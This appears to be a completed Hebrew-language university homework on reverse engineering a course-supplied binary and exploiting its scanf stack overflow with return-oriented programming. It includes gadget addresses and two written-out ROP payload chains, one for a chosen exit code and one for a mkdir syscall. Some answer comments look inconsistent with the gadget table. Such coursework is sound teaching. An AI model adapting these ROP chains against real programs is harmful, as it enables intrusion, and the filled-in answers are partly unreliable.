ארגון ותכנות המחשב – תרגיל בית 3

מתרגל אחראי – תומר בץ

בעודכם מסתובבים במסדרונות טאוב בשביל להגיע להרצאה באת"מ מצאתם על הרצפה דיסק-און-קי חשוד. על הדיסק-און-קי מוטבע הלוגו של המוסד ובצידו השני חרוטה כתובת בשפה זרה. בתוך הדיסק-און-אי נמצא קובץ ההרצה verySecretProgram (המוצרף לכם לתרגיל). מטרתכם בתרגיל בית זה היא לפענח מה אותה תוכנה מסתורית עושה. מומלץ להיעזר בכלים עליהם למדנו בקורס (objdump, readelf וכו,).

שימו לב: שני חלקי התרגיל מבוססים על אותו קובץ verySecretProgram המצורף לתרגיל. אל דאגה הקובץ לא באמת יהרוס לכם את המחשב.

חלק א' – Reverse Engenering (35 נקודות- 5 כל סעיף)

בחלק זה נסתכל ונחקור את התוכנית המקומפלת וננסה להבין מה היא עושה.

1. מה גודל ה Section header table? SizeOfSectionHeaders x numberOfSections=29*64=1856
2. כמה program headers מוגדרים בקובץ? 9
3. עבור כל program header מסוג LOAD הכניסו את נתוניו לטבלה הבאה (יתכנו שורות ריקות):

הרשאות (סמנו את ההרשאות)	גודל בזיכרון	גדול בקובץ	כתבות בזיכרון	מיקום בקובץ (offset בבתים)
RWX	0x20e0	0x20e0	0x400000	0
RWX	0x240	0x23a	0x 602e10	0x2e10

4. מהו ערך הבית שנמצא בכתובת 0x4015f8? 42
5. להלן הגדרה של משנה שנמצא בכתובת 603040x0 השלימו את ערך האתחול החסר:

unsigned long hash = 0x_____0x939f103_____

6. לאחר שהבנתם נתונים יבשים על קובץ ההרצה אתם כעת מעוניינים להבין ממש מה התוכנית שממנה נוצר קובץ ההרצה. לצורך כך חבר שלכם שבמקרה עובד בNSA השתמש בדיקומפיילר המשוכלל שלו אך לרוע מזלכם חלקים מן התוכנית לא הצליחו להשתחזר. מלאו את החלקים החסרים בקטע קוד הבא: (ניתן להשתמש בhash מהסעיף הקודם)

```
1. int checkPasswordAux(char* s){
2.         int sum = 0 ;
3.         while(*s != 0){
4.                 char c = *s;
5.                 if(c-'a'>25){
6.                         return 100;
7.                 }
8.                 while(c){
9.                         sum += c & 1;
10.                        c >>=1;
11.                }
12.                s++;
13.        }
14.        return sum;
15.}
16.int checkPassword(char* s){
17.        char* copy = s;
18.        if(checkPasswordAux(s) > 25){
19.                return 0;
20.        }
21.        s = copy;
22.        unsigned long y = 0;
23.        while(*s != 0){
24.                unsigned long x = *s - 'a';
25.                if(x>25){
26.                        return 0;
27.                }
28.                if(y > ~x){
29.                        return 0;
30.                }
31.                y = y*26 + x;
32.                s++;
33.        }
34.        return y == hash;
35.}
```

7. מצאו מה היא הסיסמא הנכונה שתגרום לפונקציה checkPassword להחזיר true:

_____natanz_____

חלק ב' – חלק לח. Binary Exploitation (65 נקודות)

בחלק זה ננצל חולשה בתוכנית בכדי לגרום לה להריץ קוד לבחירתנו על המחשב של המשתמש. נשתמש בטכניקה לניצול חולשות מסוג ROP. להלן הגדרת פונקציית main:

```
int main(){

    char password[16];
    printf("enter your password\n");
    scanf("%s", password);
    if(checkPassword(password)){
        printf("Good to see you back agent R. As you know your next
mission will take place in %s. See you there. \n", password);
        return 0;
    }
    printf("wrong password! After 3 wrong passwords this program will
destroy the computer. Good luck. \n");
    return -1;
}
```

1) הסבירו בקצרה מה הבעיה בקריאה של התוכנית ל scanf? (5 נקודות)

הבעיה היא שגודל הבאפר לא מועבר ל-scanf ולכן כמות המידע שנכתב לתוך הבאפר בלתי מוגבלת, מה שעלול לגרור buffer overflow.

2) משתמש הכניס את הקלט הבא:

`supercalifragilisticexpialidocious`

לאיזה כתובת תקפוץ פקודת ret שמבצעת main ?(לפתרון הסעיף מומלץ להסתכל בקוד אסמבלי של main או להשתמש ב־gdb) (5 נקודות)

0x6f69636f64696c61

3) בכל שורה בטבלה הבאה מופיע קוד קצר. עבור כל קטע קוד מלאו:

a. את קידוד הפקודות לפי סדר הופעתן, משמאל לימין.

b. כתובת בזיכרון התוכנית שבו נמצא קידוד הפקדות. אם הקידוד מופיע בכמה אזורי זיכרון בחרו באזור בעל הרשאות הרצה. (10 נקודות)

פקודות	קידוד	כתובת
pop %r13 pop %rdi ret	5f c3	0x401b6b
syscall	**0f 05**	**0x401178**
pop %rax ret	**58 c3**	**0x400e71**
pop %rsi pop %r15 ret	**5e 41 5f c3**	**0x401da1**
add %r15, %rdi ret	**4c 01 ff c3**	**0x4008f5**
push %rbp mov %rsp, %rbp call *%rax	**5d 48 89 e5 ff d0**	**0x400e1e**

4) תנו דוגמא לקלט שיגרום לתוכנית לצאת עם קוד יציאה 48 (בהקסה דצימלי). להצגת קוד היציאה של התוכנית האחרונה שהרצתם הריצו את הפקודה "echo $?". צרפו צילום מסך של ערך היציאה. לכתיבת ערכים בינארים השתמשו בפורמט \xHH. לדוגמה, אם הקלט הוא האות a ואחריה בית עם ערך 80x0 ואחריו בית עם הערך 90x0 כיתבו "90a\x80\x". שימו לב אין חשיבות לפלט שהתוכנית מדפיסה לגבי נכונות הסיסמא. (15 נקודות)

```
aaaaaaaaaaaaaaaaaaaaaaaa          /* fill buffer */
\x6c\x1b\x40\x00\x00\x00\x00\x00   /* pop %rsi */
\x48\x00\x00\x00\x00\x00\x00\x00   /*exit value */
\x71\x0e\x40\x00\x00\x00\x00\x00   /* pop %rax */
\x3c\x00\x00\x00\x00\x00\x00\x00   /* exit syscall number*/
\x78\x11\x40\x00\x00\x00\x00\x00   /*syscall */
```

5) תנו דוגמא לקלט שיגרום לתוכנית ליצור תקייה בשם my_first_rop עם הרשאות 0755 (אוקטלי) תחת התיקייה הנוכחית. הניחו שלא קיים קובץ או תיקייה בשם זה תחת התיקייה הנוכחית ושיש הרשאות ליצור תיקייה זו. הוסיפו צילום מסך שמראה שלא קיימת תיקייה לפני הרצת התוכנית ולאחריה נוצרה התיקייה. שימו לב שאין חישבות לדרך היציאה מהתוכנית ואין חשיבות לפלט שמודפס לגבי נכונות הסיסמה. בפרט, זה בסדר שהתוכנית תסתיים כתוצאה segfault או סיגנל אחר לאחר יצירת התקייה. (30 נקודות)

```
aaaaaaaaaaaaaaaaaaaaaaaa          /* fill buffer */
\x71\x0e\x40\x00\x00\x00\x00\x00   /* pop %rax */
\x71\x0e\x40\x00\x00\x00\x00\x00   /* pop rax */
\x1f\x0e\x40\x00\x00\x00\x00\x00   /* mov %rsp, %rbp; call *%rax */
\x71\x0e\x40\x00\x00\x00\x00\x00   /* pop rax*/
\x6b\x1b\x40\x00\x00\x00\x00\x00   /* pop %r13; pop %rsi*/
\x1e\x0e\x40\x00\x00\x00\x00\x00   /* push %rbp; mov %rsp, %rbp; call*%rax
\xa1\x1d\x40\x00\x00\x00\x00\x00   /* pop %rsi */
\xed\x01\x00\x00\x00\x00\x00\x00   /* 0755 (octal) */
\x50\x00\x00\x00\x00\x00\x00\x00   /* the diff between rbp to the string*/
\xf5\x08\x40\x00\x00\x00\x00\x00   /* add %r15, %rdi */
\x71\x0e\x40\x00\x00\x00\x00\x00   /* pop %rax */
\x53\x00\x00\x00\x00\x00\x00\x00   /* mkdir syscall number */
\x78\x11\x40\x00\x00\x00\x00\x00   /* syscall */
my_first_rop\x00                   /* folder name */
```